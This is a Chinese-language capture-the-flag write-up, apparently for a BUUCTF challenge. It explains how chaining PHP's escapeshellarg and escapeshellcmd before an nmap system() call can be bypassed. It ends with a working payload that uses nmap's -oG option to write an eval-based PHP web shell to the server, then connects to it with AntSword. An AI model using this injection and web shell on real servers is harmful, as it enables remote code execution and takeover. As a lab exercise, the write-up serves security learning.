HTTP_X_FORWARDED_FOR和REMOTE_ADDR是服务器用来获取ip的
接下来是通过get方法传入host参数,经过escapeshellarg和escapeshellcmd两个函数过滤后,拼接到nmap命令后,通过system系统命令来执行命令
首先了解一下escapeshellarg和escapeshellcmd两个函数
escapeshellarg:PHP: escapeshellarg - Manual
escapeshellarg() 将给字符串增加一个单引号并且能引用或者转义任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含exec()、system() 和执行运算符 。
在 Windows 上,escapeshellarg() 用空格替换了百分号、感叹号(延迟变量替换)和双引号,并在字符串两边加上双引号。此外,每条连续的反斜线(\
)都会被一个额外的反斜线所转义。
escapeshellcmd:PHP: escapeshellcmd - Manual
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。
反斜线(\)会在以下字符之前插入:&#;`|*?~<>^()[]{}$\
、\x0A
和 \xFF
。 '
和 "
仅在不配对儿的时候被转义。在 Windows 平台上,所有这些字符以及 %
和 !
字符前面都有一个插入符号(^
)。
这里给出一个例子:
1.如果传入的参数是172.17.0.2' -v -d a=1
2.经过escapeshellarg()这个函数处理之后会变成'172.17.0.2'\'' -v -d a=1'
因为中间的那个单引号会被转义,然后再用单引号将左右两部分包括起来
3.再经过escapeshellcmd()这个函数处理之后会变成'172.17.0.2'\\'' -v -d a=1\'
因为这个函数对中间的那个\进行了转义,这样之后,原来中间的两个引号就会闭合,然后对最后那个没有匹配的单引号也会进行转义
4.最后的命令就会变为'172.17.0.2'\\'' -v -d a=1\'
就相当于是172.17.0.2\ -v -d a=1'
因为中间有两个,一个是转义符,一个被转义了。即最终是向172.17.0.2\
发起请求,POST 数据为a=1'
通过上面的操作逃过了单引号,但escapeshellcmd会对这些特殊符号前面加上\来转义…
发现在nmap命令中 有一个参数-oG可以实现将命令和结果写到文件这个命令就是我们的输入可控!然后写入到文件!
构造payload:
?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '
然后我们进行get传参,发现给了一个文件所在地址
在url后加上文件地址http://c50798c6-56e5-4e51-8583-53c04b9bdb75.node5.buuoj.cn:81/7bf5e0e472b02f24d7b5d9c5a57197ed/hack.php,用蚁剑连接得到flag